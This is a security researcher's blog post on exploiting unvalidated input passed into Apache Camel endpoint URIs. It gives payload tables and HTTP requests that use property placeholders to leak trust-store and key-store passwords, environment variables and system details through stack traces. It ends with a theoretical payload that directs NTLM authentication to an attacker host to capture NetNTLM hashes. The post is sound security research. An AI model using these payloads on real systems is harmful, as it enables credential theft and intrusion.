Apache Camel Exploitation

How unvalidated input in Apache Camel endpoints can result in information exposure,

by Nick Aliferopoulos

Apache Camel

If you have never heard of Apache Camel I don't blame you. I only quite recently found out about it myself. I could have a go at explaining what it is, but they didn't even go through the trouble themselves. You see, their about page links to Stack Overflow (https://stackoverflow.com/questions/8845186/what-exactly-is-apache-camel) for an explanation of what it does.

Anyways, Camel is an integration framework, it basically helps to ease the pain of integrating applications with different technology stacks on different platforms, so that they work together. You feed it queries, in endpoint/URL/URI/some-other-fancy-name along with rules on how to transform them and it happily does so.

Sounds good, but what's wrong with it?

Well, Camel certainly has lots of features. And some of those can be abused by attackers, but it is not Camel's fault. You see, the URIs fed to it, that's where the issue lies. If you can influence them in some context, and you are able to see responses and/or errors produced by Camel, you are in for a treat.

Imagine the following scenario:

Application A receives a GET HTTP request with the parameter ***id***. It then needs to send this parameter over to Application B in order for it to be processed so that it can receive the results. Apache Camel is set up as an integration framework, so Application A forms a request to a Camel endpoint that shall be sent over to Application B.

http://applicationb.intranet.com/api/user/lookup/[id]/fullname?bridgeEndpoints=true *(http://applicationb.intranet.com/api/user/lookup/[id]/fullname?bridgeEndpoints=true)* , where [id] is replaced by the value of the ***id*** parameter of the GET request.

However, the validity of the ***id*** parameter is never checked, it is directly fed to Camel. Application A also naively returns the response it receives from Camel, as it is, including error messages and stack traces. This is dangerous.

{{Property Placeholders}}

Camel supports a feature called property placeholders. This feature matches certain placeholders in endpoints defined in Camel (URIs, what we've been feeding it above), and replaces the placeholder with an actual value.

This can be a very good means of exploiting the issue above. If we provide an *id* parameter, which contains a placeholder, and force an error so that the stack trace is returned to us, we can observe the URI that Camel could not correctly hit (hence the stack trace), but with property placeholders resolved.

But what placeholders can we resolve? As I was looking into this, I identified that the default resolution mechanism for property placeholders is JVM System Properties. That means that we can try resolving System Properties from Camel's Java Context. The one I happen to know of, off the top of my head, is *java.version*, which I immediatelly tried out.

```
GET /lookup-user.php?id=3816/../?var={{java.version}}&x= HTTP/1.1
Host: victim.com
Connection: close
```

Let us break this payload appart. The parameter we supplied is *3816/../?var={{java.version}}&x=*

First, we supply a user id, *3816*, whether valid, or not. Then, */../*, which fails to resolve on the backend and thus causes a 404 Not Found response which Camel treats as an **error**, yielding our precious stack trace. Then we supply an anchor sign, *?*, so we can pass parameters to the URI that will be built and sent to Camel. Then, follows a parameter with an arbitrary name *var* and value of a property placeholder which will be resolved by the value of *java.version* in the System Properties of Camel's JVM Context. Finally, we supply another parameter with the arbitrary name *x* but **no value**, so that when the endpoint URI is formed, anything that is appended to our payload is parsed as the value of *x*. Neat, huh?

That's it, we constructed an exploit.

The URI that will be constructed by Application A and sent to Camel is the following:

*http://applicationb.intranet.com/api/user/lookup/**3816/../?var=\{\{java.version}}&x=**/fullname?bridgeEndpoints=true*
*(http://applicationb.intranet.com/api/user/lookup/**3816/../?var=\{\{java.version}}&x=**/fullname?bridgeEndpoints=true)*

Camel performs the request, fails to get a 200 OK response from Application B and returns a stack trace containing the following:

HttpOperationFailedInvokingException: HTTP operation failed invoking http://applicationb.intranet.com/api/user/lookup/3816/../?var=**1.8.0_181**&x=/fullname?bridgeEndpoints=true (http://applicationb.intranet.com/api/user/lookup/3816/../?var=**1.8.0_181**&x=/fullname?bridgeEndpoints=true)

You see it? There it lies, in bold typeface, our precious info leak!

Yuh, seems dull, 0/10 IGN

If we investigate a bit, we can has even MOAR power.

Payload	Value
3816/../?var={{java.version}}&x=	Java Version

Payload	Value
3816/../?var={{java.runtime.version}}&x=	Java Runtime Version
3816/../?var={{javax.net.ssl.trustStorePassword}}&x=	Trust Store Password
3816/../?var={{javax.net.ssl.keyStorePassword}}&x=	Key Store Password
3816/../?var={{java.home}}&x=	Java Home Path
3816/../?var={{jboss.server.deploy.dir}}&x=	JBoss Deployment Directory
3816/../?var={{jboss.node.name}}&x=	JBoss Node (Host) Name
3816/../?var={{user.home}}&x=	User Home Directory
3816/../?var={{user.country}}&x=	User Country
3816/../?var={{user.lang}}&x=	User Language
3816/../?var={{user.country}}&x=	User Country
3816/../?var={{os.arch}}&x=	OS Architecture
3816/../?var={{os.version}}&x=	Kernel Version

All your ~~base~~ System Properties are belong to *us*!

But that is not enough. We got some secrets, leaked some platform/arch info, but all is Java-related, and guess what. I fucking hate Java. Now Linux on the other hand, I love.

Digging a little more into Property Placeholders, I found out that they can fetch values from environment variables of the underlying system, if you prefix them with *env:*. That brings us the following list:

Payload	Value
3816/../?var={{env: HOME}}&x=	User Home Directory
3816/../?var={{env: USER}}&x=	Current User
3816/../?var={{env: PATH}}&x=	Current User Path
3816/../?var={{env: PWD}}&x=	Current Working Directory
3816/../?var={{env: _}}&x=	Last Shell Argument

The list goes on, if you get lucky, you might retrieve passwords for services leaked through the environment (**not** uncommon).

Time to be clever

Most of the times application developers don't just spit out full on stack traces of program failures. It doesn't make any sense to the user, and even by mistake, it's pretty diffuclt to push this mess to production. But, some of the times, due to time constraints or to make debugging a little bit easier on yourself and the beta testers, you might squeeze in a tiny bit of the error, just enough for you to understand what the testers are reporting. Let's say a few chars of the stack trace, say 80.

In that case, our attack is a constrained. The leaked value is just beyond reach, looking at you behind that 80 char limit and laughing its heart off. In that case, what we need is a way to push our leaked value to the start of the stack trace, so that we manage to squeeze it in that char cap.

And I found a way to do that, a pretty educated one if you ask me, because it originated from a tiny bit of cleverness and a huge part of research on the platform. So what's the magic trick?

I intentionally caused an exception, that I knew contained part of what I intended to leak, right at the very start. The one and only, ***NumberFormatException***! Camel supports a URI parameter that is aptly named ***okStatusCodeRange***, which parses a String in the format [Number]-[Number] to define a range of response status codes that are considered "OK", hence "no error". And that solved our problem a bit.

```
3816/../?okStatusCodeRange=1-{{env: HOME}}
```

There it is again, that poor man's home directory, sitting happily in our butchered stack trace. And it felt like a win. A small one, indeed, but still a win. And then I figured out something simpler, a way to leak the same info we leaked with ***okStatusCodeRange*** but without being such an ugly hack.

De-uglyfing the hax

The beautification process was not required, at all, but it looks nicer in a report, and it also teaches me stuff about the platform, so I went ahead and gave my new, fresh idea a shot. If you liked the usage of property placeholders above, you're gonna love this one.

```
3816/../?{{{{env: HOME}}}}
```

That's it, hax! HOME is resolved by the inner property placeholder through the environment, let's say to the value ***/home/web***. That value is then attempted to be resolved by the outter property placeholder, but in vain, and Camel happily reports back an error along the lines of "Could not resolve property placeholder ***/home/web***".

BOOM! That's nice! But wait, why does PATH not work?

Deceived by the colon

```
3816/../?{{{{env: PATH}}}}
```

The above yields a different output, only a small part of the variable's value. After scratching my head for a bit, I noticed the flaw in our minified payload. The colon. The colon in property placeholders is used after a placeholder to define an alternative, fallback value in case the placeholder is not successfully resolved, and the syntax looks a bit like this:

```
{{mysettings.mynumber:2}}
```

For Camel this means fetch ***mysettings.mynumber***, or whatever man, just give him **2** if it doesn't work. Now do you see the problem? A typical path looks like this:

```
/bin:/usr/bin:/usr/sbin:/sbin
```

There's the colon again, this time used as a separator. Now the reason it breaks our leaking of PATH, is because of the way the following will be resolved by Camel.

```
{{{{env: PATH}}}}
```

First, the inner property placeholder will be resolved, and replaced with its value, then the second pass happens which will attempt to resolve this:

```
{{/bin:/usr/bin:/usr/sbin:/sbin}}
```

Obviously Camel will not be able to resolve */bin* and will return */usr/bin:/usr/sbin:/sbin* back to us, as a fallback value, due to that colon. Not so bad, but we still compromise a little bit of our hard-earned info leak.

Now do it with your eyes closed! (Next Steps)

All the information packed in this article heavily depends on inspecting the server responses, which we assumed will contain the errors/stack traces generated by Camel. But what if those are taken away from us? How can we cause havoc, deprived of our... ***vision***?

Well, I am not exactly sure to be honest, as what is mentioned in this paragraph is completely untested and only a theoretical potential attack vector. We can indeed still utilize the same attack vector, injecting endpoints with "instructions" for Camel to process, but without seeing the results. We need a volunteer on the remote system, one that will happily lend a hand to the blind man that we are. And the name of the little sucker, NTLM.

Camel supports NTLM authentication, and we can potentially inject the following parameters in the endpoint URI so that the are processed by Camel:

```
3816/../?authMethod=NTLM&authMethodPriority=NTLM&authDomain=ATTACKERDOMAIN&authHo
st=ATTACKERIP
```

In theory, this would cause Camel to attempt to authenticate to us, happily sending us over some NetNTLM hashes, a valuable indicator of light that allows us to finally recover part of our vision. But this is only a theory.

TL;DR

Camel seems neat. Please watch out what you feed to it, not because it doesn't work correctly, but because it does.

That's all folks, thanks for reading!

My Blog (https://naliferopoulos.github.io/ThinkingInBinary/)